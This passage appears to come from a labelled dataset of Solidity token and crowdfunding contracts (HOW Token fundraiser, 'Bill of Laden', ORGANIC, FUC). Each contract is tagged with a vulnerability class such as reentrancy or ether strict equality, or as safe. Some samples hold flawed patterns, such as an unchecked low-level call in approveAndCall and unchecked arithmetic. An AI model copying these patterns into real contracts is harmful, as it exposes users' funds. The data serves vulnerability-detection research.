{ require(_releaseTimestamp > 0); Group storage group = groups[_id]; group.releaseTimestamp = _releaseTimestamp; } /** * @dev Add new account with locked token balance to the specified group id. * * @param _id Group identifying number. * @param _account The address of the account to be added. * @param _balance The number of tokens to be locked. */ function add(uint8 _id, address _account, uint _balance) internal { Group storage group = groups[_id]; group.balances[_account] = group.balances[_account].plus(_balance); group.remaining = group.remaining.plus(_balance); } /** * @dev Allows an account to be released if it meets the time constraints of the group. * * @param _id Group identifying number. * @param _account The address of the account to be released. */ function release(uint8 _id, address _account) public { Group storage group = groups[_id]; require(now >= group.releaseTimestamp); uint tokens = group.balances[_account]; require(tokens > 0); group.balances[_account] = 0; group.remaining = group.remaining.minus(tokens); if (!token.transfer(_account, tokens)) { revert(); } } } // File: contracts/token/StandardToken.sol /** * @title Standard Token * * @dev The standard abstract implementation of the ERC20 interface. */ contract StandardToken is ERC20Token { using SafeMath for uint256; string public name; string public symbol; uint8 public decimals; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) internal allowed; /** * @dev The constructor assigns the token name, symbols and decimals. */ constructor(string _name, string _symbol, uint8 _decimals) internal { name = _name; symbol = _symbol; decimals = _decimals; } /** * @dev Get the balance of an address. * * @param _address The address which's balance will be checked. * * @return The current balance of the address. */ function balanceOf(address _address) public view returns (uint256 balance) { return balances[_address]; } /** * @dev Checks the amount of tokens that an owner allowed to a spender. * * @param _owner The address which owns the funds allowed for spending by a third-party. * @param _spender The third-party address that is allowed to spend the tokens. * * @return The number of tokens available to `_spender` to be spent. */ function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * @dev Give permission to `_spender` to spend `_value` number of tokens on your behalf. * E.g. You place a buy or sell order on an exchange and in that example, the * `_spender` address is the address of the contract the exchange created to add your token to their * website and you are `msg.sender`. * * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. * * @return Whether the approval process was successful or not. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Transfers `_value` number of tokens to the `_to` address. * * @param _to The address of the recipient. * @param _value The number of tokens to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { executeTransfer(msg.sender, _to, _value); return true; } /** * @dev Allows another contract to spend tokens on behalf of the `_from` address and send them to the `_to` address. * * @param _from The address which approved you to spend tokens on their behalf. * @param _to The address where you want to send tokens. * @param _value The number of tokens to be sent. * * @return Whether the transfer was successful or not. */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_value <= allowed[_from][msg.sender]); allowed[_from][msg.sender] = allowed[_from][msg.sender].minus(_value); executeTransfer(_from, _to, _value); return true; } /** * @dev Internal function that this reused by the transfer functions */ function executeTransfer(address _from, address _to, uint256 _value) internal { require(_to != address(0)); require(_value != 0 && _value <= balances[_from]); balances[_from] = balances[_from].minus(_value); balances[_to] = balances[_to].plus(_value); emit Transfer(_from, _to, _value); } } // File: contracts/token/MintableToken.sol /** * @title Mintable Token * * @dev Allows the creation of new tokens. */ contract MintableToken is StandardToken { /// @dev The only address allowed to mint coins address public minter; /// @dev Indicates whether the token is still mintable. bool public mintingDisabled = false; /** * @dev Event fired when minting is no longer allowed. */ event MintingDisabled(); /** * @dev Allows a function to be executed only if minting is still allowed. */ modifier canMint() { require(!mintingDisabled); _; } /** * @dev Allows a function to be called only by the minter */ modifier onlyMinter() { require(msg.sender == minter); _; } /** * @dev The constructor assigns the minter which is allowed to mind and disable minting */ constructor(address _minter) internal { minter = _minter; } /** * @dev Creates new `_value` number of tokens and sends them to the `_to` address. * * @param _to The address which will receive the freshly minted tokens. * @param _value The number of tokens that will be created. */ function mint(address _to, uint256 _value) onlyMinter canMint public { totalSupply = totalSupply.plus(_value); balances[_to] = balances[_to].plus(_value); emit Transfer(0x0, _to, _value); } /** * @dev Disable the minting of new tokens. Cannot be reversed. * * @return Whether or not the process was successful. */ function disableMinting() onlyMinter canMint public { mintingDisabled = true; emit MintingDisabled(); } } // File: contracts/token/BurnableToken.sol /** * @title Burnable Token * * @dev Allows tokens to be destroyed. */ contract BurnableToken is StandardToken { /** * @dev Event fired when tokens are burned. * * @param _from The address from which tokens will be removed. * @param _value The number of tokens to be destroyed. */ event Burn(address indexed _from, uint256 _value); /** * @dev Burnes `_value` number of tokens. * * @param _value The number of tokens that will be burned. */ function burn(uint256 _value) public { require(_value != 0); address burner = msg.sender; require(_value <= balances[burner]); balances[burner] = balances[burner].minus(_value); totalSupply = totalSupply.minus(_value); emit Burn(burner, _value); emit Transfer(burner, address(0), _value); } } // File: contracts/trait/HasOwner.sol /** * @title HasOwner * * @dev Allows for exclusive access to certain functionality. */ contract HasOwner { // The current owner. address public owner; // Conditionally the new owner. address public newOwner; /** * @dev The constructor. * * @param _owner The address of the owner. */ constructor(address _owner) public { owner = _owner; } /** * @dev Access control modifier that allows only the current owner to call the function. */ modifier onlyOwner { require(msg.sender == owner); _; } /** * @dev The event is fired when the current owner is changed. * * @param _oldOwner The address of the previous owner. * @param _newOwner The address of the new owner. */ event OwnershipTransfer(address indexed _oldOwner, address indexed _newOwner); /** * @dev Transfering the ownership is a two-step process, as we prepare * for the transfer by setting `newOwner` and requiring `newOwner` to accept * the transfer. This prevents accidental lock-out if something goes wrong * when passing the `newOwner` address. * * @param _newOwner The address of the proposed new owner. */ function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } /** * @dev The `newOwner` finishes the ownership transfer process by accepting the * ownership. */ function acceptOwnership() public { require(msg.sender == newOwner); emit OwnershipTransfer(owner, newOwner); owner = newOwner; } } // File: contracts/token/PausableToken.sol /** * @title Pausable Token * * @dev Allows you to pause/unpause transfers of your token. **/ contract PausableToken is StandardToken, HasOwner { /// Indicates whether the token contract is paused or not. bool public paused = false; /** * @dev Event fired when the token contracts gets paused. */ event Pause(); /** * @dev Event fired when the token contracts gets unpaused. */ event Unpause(); /** * @dev Allows a function to be called only when the token contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Pauses the token contract. */ function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } /** * @dev Unpauses the token contract. */ function unpause() onlyOwner public { require(paused); paused = false; emit Unpause(); } /// Overrides of the standard token's functions to add the paused/unpaused functionality. function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } } // File: contracts/fundraiser/AbstractFundraiser.sol contract AbstractFundraiser { /// The ERC20 token contract. ERC20Token public token; /** * @dev The event fires every time a new buyer enters the fundraiser. * * @param _address The address of the buyer. * @param _ethers The number of ethers funded. * @param _tokens The number of tokens purchased. */ event FundsReceived(address indexed _address, uint _ethers, uint _tokens); /** * @dev The initialization method for the token * * @param _token The address of the token of the fundraiser */ function initializeFundraiserToken(address _token) internal { token = ERC20Token(_token); } /** * @dev The default function which is executed when someone sends funds to this contract address. */ function() public payable { receiveFunds(msg.sender, msg.value); } /** * @dev this overridable function returns the current conversion rate for the fundraiser */ function getConversionRate() public view returns (uint256); /** * @dev checks whether the fundraiser passed `endTime`. * * @return whether the fundraiser has ended. */ function hasEnded() public view returns (bool); /** * @dev Create and sends tokens to `_address` considering amount funded and `conversionRate`. * * @param _address The address of the receiver of tokens. * @param _amount The amount of received funds in ether. */ function receiveFunds(address _address, uint256 _amount) internal; /** * @dev It throws an exception if the transaction does not meet the preconditions. */ function validateTransaction() internal view; /** * @dev this overridable function makes and handles tokens to buyers */ function handleTokens(address _address, uint256 _tokens) internal; /** * @dev this overridable function forwards the funds (if necessary) to a vault or directly to the beneficiary */ function handleFunds(address _address, uint256 _ethers) internal; } // File: contracts/fundraiser/BasicFundraiser.sol /** * @title Basic Fundraiser * * @dev An abstract contract that is a base for fundraisers. * It implements a generic procedure for handling received funds: * 1. Validates the transaciton preconditions * 2. Calculates the amount of tokens based on the conversion rate. * 3. Delegate the handling of the tokens (mint, transfer or conjure) * 4. Delegate the handling of the funds * 5. Emit event for received funds */ contract BasicFundraiser is HasOwner, AbstractFundraiser { using SafeMath for uint256; // The number of decimals for the token. uint8 constant DECIMALS = 18; // Enforced // Decimal factor for multiplication purposes. uint256 constant DECIMALS_FACTOR = 10 ** uint256(DECIMALS); /// The start time of the fundraiser - Unix timestamp. uint256 public startTime; /// The end time of the fundraiser - Unix timestamp. uint256 public endTime; /// The address where funds collected will be sent. address public beneficiary; /// The conversion rate with decimals difference adjustment, /// When converion rate is lower than 1 (inversed), the function calculateTokens() should use division uint256 public conversionRate; /// The total amount of ether raised. uint256 public totalRaised; /** * @dev The event fires when the number of token conversion rate has changed. * * @param _conversionRate The new number of tokens per 1 ether. */ event ConversionRateChanged(uint _conversionRate); /** * @dev The basic fundraiser initialization method. * * @param _startTime The start time of the fundraiser - Unix timestamp. * @param _endTime The end time of the fundraiser - Unix timestamp. * @param _conversionRate The number of tokens create for 1 ETH funded. * @param _beneficiary The address which will receive the funds gathered by the fundraiser. */ function initializeBasicFundraiser( uint256 _startTime, uint256 _endTime, uint256 _conversionRate, address _beneficiary ) internal { require(_endTime >= _startTime); require(_conversionRate > 0); require(_beneficiary != address(0)); startTime = _startTime; endTime = _endTime; conversionRate = _conversionRate; beneficiary = _beneficiary; } /** * @dev Sets the new conversion rate * * @param _conversionRate New conversion rate */ function setConversionRate(uint256 _conversionRate) public onlyOwner { require(_conversionRate > 0); conversionRate = _conversionRate; emit ConversionRateChanged(_conversionRate); } /** * @dev Sets The beneficiary of the fundraiser. * * @param _beneficiary The address of the beneficiary. */ function setBeneficiary(address _beneficiary) public onlyOwner { require(_beneficiary != address(0)); beneficiary = _beneficiary; } /** * @dev Create and sends tokens to `_address` considering amount funded and `conversionRate`. * * @param _address The address of the receiver of tokens. * @param _amount The amount of received funds in ether. */ function receiveFunds(address _address, uint256 _amount) internal { validateTransaction(); uint256 tokens = calculateTokens(_amount); require(tokens > 0); totalRaised = totalRaised.plus(_amount); handleTokens(_address, tokens); handleFunds(_address, _amount); emit FundsReceived(_address, msg.value, tokens); } /** * @dev this overridable function returns the current conversion rate for the fundraiser */ function getConversionRate() public view returns (uint256) { return conversionRate; } /** * @dev this overridable function that calculates the tokens based on the ether amount */ function calculateTokens(uint256 _amount) internal view returns(uint256 tokens) { tokens = _amount.mul(getConversionRate()); } /** * @dev It throws an exception if the transaction does not meet the preconditions. */ function validateTransaction() internal view { require(msg.value != 0); require(now >= startTime && now < endTime); } /** * @dev checks whether the fundraiser passed `endtime`. * * @return whether the fundraiser is passed its deadline or not. */ function hasEnded() public view returns (bool) { return now >= endTime; } } // File: contracts/token/StandardMintableToken.sol contract StandardMintableToken is MintableToken { constructor(address _minter, string _name, string _symbol, uint8 _decimals) StandardToken(_name, _symbol, _decimals) MintableToken(_minter) public { } } // File: contracts/fundraiser/MintableTokenFundraiser.sol /** * @title Fundraiser With Mintable Token */ contract MintableTokenFundraiser is BasicFundraiser { /** * @dev The initialization method that creates a new mintable token. * * @param _name Token name * @param _symbol Token symbol * @param _decimals Token decimals */ function initializeMintableTokenFundraiser(string _name, string _symbol, uint8 _decimals) internal { token = new StandardMintableToken( address(this), // The fundraiser is the token minter _name, _symbol, _decimals ); } /** * @dev Mint the specific amount tokens */ function handleTokens(address _address, uint256 _tokens) internal { MintableToken(token).mint(_address, _tokens); } } // File: contracts/fundraiser/IndividualCapsFundraiser.sol /** * @title Fundraiser with individual caps * * @dev Allows you to set a hard cap on your fundraiser. */ contract IndividualCapsFundraiser is BasicFundraiser { uint256 public individualMinCap; uint256 public individualMaxCap; uint256 public individualMaxCapTokens; event IndividualMinCapChanged(uint256 _individualMinCap); event IndividualMaxCapTokensChanged(uint256 _individualMaxCapTokens); /** * @dev The initialization method. * * @param _individualMinCap The minimum amount of ether contribution per address. * @param _individualMaxCap The maximum amount of ether contribution per address. */ function initializeIndividualCapsFundraiser(uint256 _individualMinCap, uint256 _individualMaxCap) internal { individualMinCap = _individualMinCap; individualMaxCap = _individualMaxCap; individualMaxCapTokens = _individualMaxCap * conversionRate; } function setConversionRate(uint256 _conversionRate) public onlyOwner { super.setConversionRate(_conversionRate); if (individualMaxCap == 0) { return; } individualMaxCapTokens = individualMaxCap * _conversionRate; emit IndividualMaxCapTokensChanged(individualMaxCapTokens); } function setIndividualMinCap(uint256 _individualMinCap) public onlyOwner { individualMinCap = _individualMinCap; emit IndividualMinCapChanged(individualMinCap); } function setIndividualMaxCap(uint256 _individualMaxCap) public onlyOwner { individualMaxCap = _individualMaxCap; individualMaxCapTokens = _individualMaxCap * conversionRate; emit IndividualMaxCapTokensChanged(individualMaxCapTokens); } /** * @dev Extends the transaction validation to check if the value this higher than the minumum cap. */ function validateTransaction() internal view { super.validateTransaction(); require(msg.value >= individualMinCap); } /** * @dev We validate the new amount doesn't surpass maximum contribution cap */ function handleTokens(address _address, uint256 _tokens) internal { require(individualMaxCapTokens == 0 || token.balanceOf(_address).plus(_tokens) <= individualMaxCapTokens); super.handleTokens(_address, _tokens); } } // File: contracts/fundraiser/GasPriceLimitFundraiser.sol /** * @title GasPriceLimitFundraiser * * @dev This fundraiser allows to set gas price limit for the participants in the fundraiser */ contract GasPriceLimitFundraiser is HasOwner, BasicFundraiser { uint256 public gasPriceLimit; event GasPriceLimitChanged(uint256 gasPriceLimit); /** * @dev This function puts the initial gas limit */ function initializeGasPriceLimitFundraiser(uint256 _gasPriceLimit) internal { gasPriceLimit = _gasPriceLimit; } /** * @dev This function allows the owner to change the gas limit any time during the fundraiser */ function changeGasPriceLimit(uint256 _gasPriceLimit) onlyOwner() public { gasPriceLimit = _gasPriceLimit; emit GasPriceLimitChanged(_gasPriceLimit); } /** * @dev The transaction is valid if the gas price limit is lifted-off or the transaction meets the requirement */ function validateTransaction() internal view { require(gasPriceLimit == 0 || tx.gasprice <= gasPriceLimit); return super.validateTransaction(); } } // File: contracts/fundraiser/CappedFundraiser.sol /** * @title Capped Fundraiser * * @dev Allows you to set a hard cap on your fundraiser. */ contract CappedFundraiser is BasicFundraiser { /// The maximum amount of ether allowed for the fundraiser. uint256 public hardCap; /** * @dev The initialization method. * * @param _hardCap The maximum amount of ether allowed to be raised. */ function initializeCappedFundraiser(uint256 _hardCap) internal { require(_hardCap > 0); hardCap = _hardCap; } /** * @dev Adds additional check if the hard cap has been reached. * * @return Whether the token purchase will be allowed. */ function validateTransaction() internal view { super.validateTransaction(); require(totalRaised < hardCap); } /** * @dev Overrides the method from the default `Fundraiser` contract * to additionally check if the `hardCap` is reached. * * @return Whether or not the fundraiser has ended. */ function hasEnded() public view returns (bool) { return (super.hasEnded() || totalRaised >= hardCap); } } // File: contracts/fundraiser/FinalizableFundraiser.sol /** * @title Finalizable Fundraiser * * @dev Allows the owner of this contract to finalize the fundraiser at any given time * after certain conditions are met, such as hard cap reached, * and also do extra work when finalized. */ contract FinalizableFundraiser is BasicFundraiser { /// Flag indicating whether or not the fundraiser is finalized. bool public isFinalized = false; /** * @dev Event fires if the finalization of the fundraiser is successful. */ event Finalized(); /** * @dev Finalizes the fundraiser. Cannot be reversed. */ function finalize() onlyOwner public { require(!isFinalized); require(hasEnded()); finalization(); emit Finalized(); isFinalized = true; } /** * @dev Override this function to add extra work when a fundraiser is finalized. * Don't forget to add super.finalization() to execute this part. */ function finalization() internal { beneficiary.transfer(address(this).balance); } /** * @dev Do nothing, wait for finalization */ function handleFunds(address, uint256) internal { } } // File: contracts/component/RefundSafe.sol /** * @title Refund Safe * * @dev Allows your fundraiser to offer refunds if soft cap is not reached * while the fundraiser is active. */ contract RefundSafe is HasOwner { using SafeMath for uint256; /// The state of the refund safe. /// ACTIVE - the default state while the fundraiser is active. /// REFUNDING - the refund safe allows participants in the fundraiser to get refunds. /// CLOSED - the refund safe is closed for business. enum State {ACTIVE, REFUNDING, CLOSED} /// Holds all ETH deposits of participants in the fundraiser. mapping(address => uint256) public deposits; /// The address which will receive the funds if the fundraiser is successful. address public beneficiary; /// The state variable which will control the lifecycle of the refund safe. State public state; /** * @dev Event fired when the refund safe is closed. */ event RefundsClosed(); /** * @dev Event fired when refunds are allowed. */ event RefundsAllowed(); /** * @dev Event fired when a participant in the fundraiser is successfully refunded. * * @param _address The address of the participant. * @param _value The number of ETH which were refunded. */ event RefundSuccessful(address indexed _address, uint256 _value); /** * @dev Constructor. * * @param _beneficiary The address which will receive the funds if the fundraiser is a success. */ constructor(address _owner, address _beneficiary) HasOwner(_owner) public { require(_beneficiary != 0x0); beneficiary = _beneficiary; state = State.ACTIVE; } /** * @dev Sets The beneficiary address. * * @param _beneficiary The address of the beneficiary. */ function setBeneficiary(address _beneficiary) public onlyOwner { require(_beneficiary != address(0)); beneficiary = _beneficiary; } /** * @dev Deposits ETH into the refund safe. * * @param _address The address of the participant in the fundraiser. */ function deposit(address _address) onlyOwner public payable { require(state == State.ACTIVE); deposits[_address] = deposits[_address].plus(msg.value); } /** * @dev Closes the refund safe. */ function close() onlyOwner public { require(state == State.ACTIVE); state = State.CLOSED; emit RefundsClosed(); beneficiary.transfer(address(this).balance); } /** * @dev Moves the refund safe into a state of refund. */ function allowRefunds() onlyOwner public { require(state == State.ACTIVE); state = State.REFUNDING; emit RefundsAllowed(); } /** * @dev Refunds a participant in the fundraiser. * * @param _address The address of the participant. */ function refund(address _address) public { require(state == State.REFUNDING); uint256 amount = deposits[_address]; // We do not want to emit RefundSuccessful events for empty accounts with zero ether require(amount != 0); // Zeroing the deposit early prevents reentrancy issues deposits[_address] = 0; _address.transfer(amount); emit RefundSuccessful(_address, amount); } } // File: contracts/fundraiser/RefundableFundraiser.sol /** * @title Refundable fundraiser * * @dev Allows your fundraiser to offer refunds to token buyers if it failed to reach the `softCap` in its duration. */ contract RefundableFundraiser is FinalizableFundraiser { /// The minimum amount of funds (in ETH) to be gathered in order for the /// fundraiser to be considered successful. uint256 public softCap; /// The instance of the refund safe which holds all ETH funds until the fundraiser /// is finalized. RefundSafe public refundSafe; /** * @dev The constructor. * * @param _softCap The minimum amount of funds (in ETH) that need to be reached. */ function initializeRefundableFundraiser(uint256 _softCap) internal { require(_softCap > 0); refundSafe = new RefundSafe(address(this), beneficiary); softCap = _softCap; } /** * @dev Defines the abstract function from `BaseFundraiser` to add the funds to the `refundSafe` */ function handleFunds(address _address, uint256 _ethers) internal { refundSafe.deposit.value(_ethers)(_address); } /** * @dev Checks if the soft cap was reached by the fundraiser. * * @return Whether `softCap` is reached or not. */ function softCapReached() public view returns (bool) { return totalRaised >= softCap; } /** * @dev If the fundraiser failed to reach the soft cap, * participants can use this method to get their ether back. */ function getRefund() public { require(isFinalized); require(!softCapReached()); refundSafe.refund(msg.sender); } /** * @dev Overrides the setBeneficiation fucntion to set the beneficiary of the refund safe * * @param _beneficiary The address of the beneficiary. */ function setBeneficiary(address _beneficiary) public onlyOwner { super.setBeneficiary(_beneficiary); refundSafe.setBeneficiary(_beneficiary); } /** * @dev Overrides the default function from `FinalizableFundraiser` * to check if soft cap was reached and appropriatelly allow refunds * or simply close the refund safe. */ function finalization() internal { super.finalization(); if (softCapReached()) { refundSafe.close(); } else { refundSafe.allowRefunds(); } } } // File: contracts/Fundraiser.sol /** * @title HOWToken */ contract HOWToken is MintableToken, BurnableToken, PausableToken { constructor(address _owner, address _minter) StandardToken( ""HOW Token"", // Token name ""HOW"", // Token symbol 18 // Token decimals ) HasOwner(_owner) MintableToken(_minter) public { } } /** * @title HOWTokenSafe */ contract HOWTokenSafe is TokenSafe { constructor(address _token) TokenSafe(_token) public { // Group ""A"" init( 0, // Group Id 1534170000 // Release date = 13 Aug 2018 14:20 UTC ); add( 0, // Group Id 0xCD3367edbf18C379FA6FBD9D2C206DbB83A816AD, // Token Safe Entry Address 78150000000000000000000000 // Allocated tokens ); } } /** * @title HOWTokenFundraiser */ contract HOWTokenFundraiser is MintableTokenFundraiser, IndividualCapsFundraiser, CappedFundraiser, RefundableFundraiser, GasPriceLimitFundraiser { HOWTokenSafe public tokenSafe; constructor() HasOwner(msg.sender) public { token = new HOWToken( msg.sender, // Owner address(this) // The fundraiser is the minter ); tokenSafe = new HOWTokenSafe(token); MintableToken(token).mint(address(tokenSafe), 78150000000000000000000000); initializeBasicFundraiser( 1534169700, // Start date = 13 Aug 2018 14:15 UTC 1538143200, // End date = 28 Sep 2018 14:00 UTC 50000, // Conversion rate = 50000 HOW per 1 ether 0xCD3367edbf18C379FA6FBD9D2C206DbB83A816AD // Beneficiary ); initializeIndividualCapsFundraiser( (0.01 ether), // Minimum contribution (15 ether) // Maximum individual cap ); initializeGasPriceLimitFundraiser( 80000000000 // Gas price limit in wei ); initializeCappedFundraiser( (1563 ether) // Hard cap ); initializeRefundableFundraiser( (313 ether) // Soft cap ); } /** * @dev Disable minting upon finalization */ function finalization() internal { super.finalization(); MintableToken(token).disableMinting(); } }",./Dataset/ether strict equality (SE),3,3 0x026e39be56bd57657204e34d5bdb80c85709d0ee_BillofLaden.sol,"pragma solidity ^0.4.18; // ---------------------------------------------------------------------------- // 'Maersk' token contract // // Deployed to : 0x71990ee4A81FaA839a13E055B2a305f9244A43Bd // Symbol : MAERSK // Name : Bill of Laden // Total supply: 100000000 // Decimals : 18 // // Enjoy. // // (c) by Moritz Neto with BokkyPooBah / Bok Consulting Pty Ltd Au 2017. The MIT Licence. // ---------------------------------------------------------------------------- // ---------------------------------------------------------------------------- // Safe maths // ---------------------------------------------------------------------------- contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // ---------------------------------------------------------------------------- contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Contract function to receive approval and execute function in one call // // Borrowed from MiniMeToken // ---------------------------------------------------------------------------- contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } // ---------------------------------------------------------------------------- // Owned contract // ---------------------------------------------------------------------------- contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); function Owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } // ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and assisted // token transfers // ---------------------------------------------------------------------------- contract BillofLaden is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function BillofLaden() public { symbol = ""MAERSK""; name = ""Bill of Laden""; decimals = 18; _totalSupply = 100000000000000000000000000; balances[0x71990ee4A81FaA839a13E055B2a305f9244A43Bd] = _totalSupply; Transfer(address(0), 0x71990ee4A81FaA839a13E055B2a305f9244A43Bd, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }",Safe,8,8 35270.sol,"pragma solidity ^0.4.4; contract Token { function totalSupply() constant returns (uint256 supply) {} function balanceOf(address _owner) constant returns (uint256 balance) {} function transfer(address _to, uint256 _value) returns (bool success) {} function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} function approve(address _spender, uint256 _value) returns (bool success) {} function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { //if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } contract ORGANIC is StandardToken { function () { throw; } string public name; uint8 public decimals; string public symbol; string public version = 'H1.0'; function ORGANIC( ) { balances[msg.sender] = 100000000000000; totalSupply = 100000000000000; name = ""Organic""; decimals = 7; symbol = ""ORG""; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); if(!_spender.call(bytes4(bytes32(sha3(""receiveApproval(address,uint256,address,bytes)""))), msg.sender, _value, this, _extraData)) { throw; } return true; } }",./Dataset/reentrancy (RE)/,5,5 1459.sol,"pragma solidity ^0.4.24; interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; } contract FUC { string public name; string public symbol; uint8 public decimals = 18; uint256 public totalSupply; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed from, address indexed to, uint256 value); event Burn(address indexed from, uint256 value); function FUC( uint256 initialSupply, string tokenName, string tokenSymbol ) public { totalSupply = initialSupply * 10 ** uint256(decimals); balanceOf[msg.sender] = totalSupply; name = tokenName; symbol = tokenSymbol; } function _transfer(address _from, address _to, uint _value) internal { require(_to != 0x0); require(balanceOf[_from] >= _value); require(balanceOf[_to] + _value > balanceOf[_to]); uint previousBalances = balanceOf[_from] + balanceOf[_to]; balanceOf[_from] -= _value; balanceOf[_to] += _value; Transfer(_from, _to, _value); assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } 